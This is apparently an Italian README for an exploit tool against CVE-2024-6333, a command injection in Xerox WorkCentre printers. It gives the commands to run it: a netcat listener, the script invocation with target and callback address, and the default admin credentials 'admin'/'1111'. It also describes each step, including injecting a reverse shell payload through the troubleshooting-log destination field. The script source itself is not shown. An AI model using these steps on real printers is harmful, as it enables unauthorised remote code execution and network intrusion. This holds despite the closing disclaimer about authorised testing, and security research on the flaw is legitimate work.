CVE-2024-6333 - Esecuzione di codice remoto autenticata su Xerox

Vulnerabilità di esecuzione di codice remoto autenticata nelle stampanti Xerox WorkCentre tramite la funzionalità Network Troubleshooting Log.

Descrizione

La funzionalità Network Troubleshooting Log (/properties/security/network_troubleshooting_log.php) non sanifica il parametro del server di destinazione (security.nwtroubleshoot.destination.server), consentendo a un amministratore autenticato di iniettare comandi OS arbitrari. Quando viene avviata la cattura del log di rete, il payload iniettato viene eseguito come comando shell, con conseguente esecuzione di codice remoto.

Prodotti interessati

• XEROX WorkCentre 6655 (testata sul firmware 073.110.019.14200)
• Molti altri modelli di stampanti Xerox (vedi advisory)

Riferimenti

• https://sec-consult.com/vulnerability-lab/advisory/authenticated-remote-code-execution-in-multiple-xerox-printers/
• https://nvd.nist.gov/vuln/detail/CVE-2024-6333

Requisiti

• Python 3
• Credenziali amministrative valide sulla stampante target
• Accesso di rete al target

Installazione

pip install -r requirements.txt

Utilizzo

Avvia un listener sulla tua macchina:

nc -lvnp 8443

Esegui l'exploit:

python3 CVE-2024-6333.py --target https://<PRINTER_IP> --lhost <YOUR_IP> --lport 8443

Argomenti

Argomento	Richiesto	Predefinito	Descrizione
--target	Sì		URL del target (es., https://192.0.2.1)
--lhost	Sì		Indirizzo IP del listener
--lport	No	8443	Porta del listener
--user	No	admin	Nome utente amministratore
--password	No	1111	Password amministratore
--proxy	No		URL del proxy (es., http://127.0.0.1:8080)

Come Funziona

1. Autentica all'interfaccia web della stampante utilizzando le credenziali fornite
2. Interrompe eventuali sessioni di log di troubleshooting di rete attive
3. Inietta un payload di reverse shell nel campo del server di destinazione
4. Attiva la cattura del log di rete, eseguendo il payload
5. Attende 30 secondi, quindi invia un comando di pulizia/stop

Disclaimer

Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale.